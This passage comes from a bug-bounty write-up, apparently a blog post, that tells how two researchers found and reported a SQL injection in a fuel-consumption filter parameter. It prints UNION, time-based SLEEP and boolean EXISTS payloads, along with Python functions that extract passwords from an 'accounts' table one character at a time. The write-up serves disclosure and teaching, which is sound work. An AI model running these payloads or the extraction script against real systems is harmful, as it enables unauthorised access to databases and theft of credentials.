our sleeves and dug in like true treasure hunters!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*oCd1N6e4pcEe2BeLL_aKKA.png" /></figure><h4>🛠️ Chapter 2: The Life-Changing “Mind Hack”</h4><p>Playbook Right from the start, ngosytuan dropped a mantra that sounded like a cheat code:</p><blockquote>“Too many parameters, huh? Don’t sit there trying each one with an apostrophe ‘ — it’s a huge waste of time. Just throw an apostrophe into all of them, then slowly remove them!”</blockquote><p>It sounded like a joke, but it turned out to be “the truth”! Imagine you’re looking for a leaky pipe in your house: you turn on all the faucets, then turn them off one by one to find the leak. We did exactly the same: we wrote a request, injected an apostrophe ‘ into every single parameter, then fired it straight at the server. BOOM! The server “choked” and spat out an Error 500. Haha, here’s the first clue — the treasure is lurking somewhere!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*xp-QgJg_zSRUjYf2Pe5efg.png" /></figure><h4>🧩 Chapter 3: Brain-Teasing Puzzles</h4><p>Confirming this SQLi was no walk in the park. We tried UNION payloads, testing with 1 column, 2 columns, then 3 columns, and the server returned an error message like “try to understand me”:</p><p>CAST(REPLACE(fuel_consumption_mixed, &#39;,&#39;, &#39;.&#39;) AS DECIMAL(5,2)) BETWEEN 1 AND 1=1 UNION SELECT 1.2.3--</p><p>Initially, we were thrilled: “Oh, two columns!” But wait, something was off. The SQL statement was broken, due to attempting to change commas (,) to periods (.) for decimal processing. When we threw in 1,2,3, it got confused as if you gave the cashier a “1,2,3 dong” bill. No wonder it crashed!</p><p>We pulled out sqlmap — the “godsend” tool for breaking SQLi — to speed things up, but it kept failing repeatedly. We wanted to smash the keyboard!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*SFL18Dac85BhJywhD3RC5Q.png" /></figure><h3>💡 Chapter 4: The Eureka Moment at Midnight</h3><p>After a long night of struggling, I decided to play dirty one last time before “throwing in the towel.” I tried a payload with the SLEEP(10) command, kind of like telling the server: “Hey, if you have a vulnerability, take a 10-second nap!” The payload looks like this:</p><p>1 AND 1=1 UNION SELECT SLEEP(10)--</p><p>I pressed the submit button, my heart was pounding, and I was counting the seconds… and then, exactly 10 seconds later, the server finally responded. I tried again with SLEEP(5), and it easily paused for 5 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*opiKC7qyWtU50qe3OyN90g.png" /></figure><p>Jackpot! This isn’t just SQLi, it’s a genuine “Exceptional bug.” The wall completely crumbled, the treasure’s right out in the open!</p><h4>🖥️ Chapter 5: “Outsmarting” the System</h4><p>To be absolutely sure, I sat down to dissect why previous attempts failed. It turned out the backend’s conversion of commas to periods completely messed us up. Tools like sqlmap were no match, so I custom-built an automated exploit script to:</p><ol><li>Send boolean-based payloads to test for vulnerabilities.</li><li>Measure response length for confirmation.</li><li>Extract the data.</li></ol><p>Imagine I crafted a sophisticated gold detector to find the exact diamond in a pile of sand. It might not look pretty, but its effectiveness is undeniable!<br>Sample Payload:</p><p>1 AND EXISTS(SELECT 1 FROM dual WHERE LENGTH((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = &#39;db&#39; AND table_name = &#39;accounts&#39;)))</p><h4>No more comma drama!</h4><p>Here’s the code I wrote for this:<br>Check data length:</p><pre>def get_data_length():<br>    &quot;&quot;&quot;Find binary-style length, smooth as silk&quot;&quot;&quot;<br>    left, right = 1, 100<br>    while left &lt;= right:<br>        mid = (left + right) // 2<br>        payload = f&quot;1 AND EXISTS(SELECT 1 FROM dual WHERE LENGTH((SELECT GROUP_CONCAT(password) FROM accounts LIMIT 1)) &gt; {mid})&quot;<br>        json_data = {&quot;filters&quot;: {&quot;fuel_consumption&quot;: [1, payload]}}<br>        r = requests.post(url, headers=headers, cookies=cookies, json=json_data)<br>        if &quot;id=1207&quot; in r.text:<br>            left = mid + 1<br>        else:<br>            right = mid - 1<br>    return right + 1</pre><p>Character check:</p><pre>def test_character(position, char):<br>    payload = f&quot;1 AND EXISTS(SELECT 1 FROM dual WHERE SUBSTRING((SELECT GROUP_CONCAT(password) FROM accounts LIMIT 1) FROM {position} FOR 1) = &#39;{char}&#39;)&quot;<br>    json_data = {&quot;filters&quot;: {&quot;fuel_consumption&quot;: [1, payload]}}<br>    try:<br>        r = requests.post(url, headers=headers, cookies=cookies, json=json_data)<br>        if &quot;id=1337&quot; in r.text:<br>            return char<br>    except:<br>        pass<br>    return None</pre><p>Data extraction:</p><pre>def extract_data():<br>    &quot;&quot;&quot;Đi vét cạn, không khoan nhượng&quot;&quot;&quot;<br>    result = &quot;&quot;<br>    length = get_data_length()<br>    print(f&quot;[+] Dữ liệu dài tận: {length} ký tự!&quot;)<br>    <br>    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:<br>        for i in range(1, length + 1):<br>            futures = {executor.submit(test_character, i, c): c for c in charset}<br>            for future in concurrent.futures.as_completed(futures):<br>                found = future.result()<br>                if found:<br>                    result += found<br>                    print(f&quot;[+] Moi được ký tự vị trí {i}: {found}&quot;)<br>                    break<br>    return result</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*kyAaGhHcfhZKm-rhW20Y-A.png" /></figure><p>We finally found that precious gem! 🌟</p><h4>🏆 Chapter 6: Celebration</h4><p>With the Proof of Concept (PoC) and the “cool” script in hand, I submitted the report to the bug bounty program. The review team was lightning fast, and soon enough, the company marked the report as <strong>Accepted </strong>with a high severity. We did it — this SQLi officially scored CVSS 10.0. Mission accomplished, time to celebrate! 🎉</p><p>Note: When reporting, I only put Time-based, but actually Boolean-based also worked, though the platform only needed to be able to sleep to be acknowledged!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*bYz40iN45cFLKNHVTBMQYQ.png" /></figure><p>📋 Bug Bounty Training Camp: Insider Tips for Newcomers Want to “hunt digital treasures” yourself? Here are a few tricks I picked up from this journey:</p><p><em>🔍 Read errors like Detective Conan. Error messages aren’t trash; they’re golden clues. Just one line can lead you to your “prey.”</em></p><p><em>🧠 Put yourself in the backend’s shoes. Understand how the server “thinks” (like changing commas to dots) to deliver a critical blow.</em></p><p><em>🛠️ DIY your tools. Is Sqlmap “yawning”? Write your own script; it’ll not only save the day but also make your report “pure gold.”</em></p><p><em>🎣 Cast a wide net, then reel it in slowly. Throw quotes into all parameters like casting a fishing net, then gradually filter to catch the “big one.”</em></p><p><em>💪 Be patient and curious. Bug hunting is a marathon, not a 100m sprint. Keep tinkering, keep experimenting, and you’ll “level up!”</em></p><h4>🌟 Why Hunt Bugs?</h4><p>Achieving a CVSS score of 10.0 isn’t just for ‘flexing’ (though flexing really feels great!). It’s a way to help make the internet safer, learn how systems operate, and if you’re lucky, earn enough money ‘to buy bubble tea for a whole month’. Whether you’re a ‘hardcore’ coder, a curious amateur, or just love ‘conquering’ challenges, bug bounty is an ultimate playground to test your skills.</p><p>Come on, grab your laptop, invite your friends to join, and start exploring. Who knows, your CVSS 10.0 adventure might just be one ‘top-tier’ payload away! Happy hunting! 🚀</p><p>Wishing you success in ‘conquering’ many more bugs!</p><p>Before you scroll away: Hit upvote and follow us! 👏 !!!</p><p>Source : 🔗 <a href="https://viblo.asia/p/hanh-trinh-100-diem-cvss-ban-cung-lam-duoc-GyZJZM2Z4jm">fatman &amp; ngosytuan</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=609641903faf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>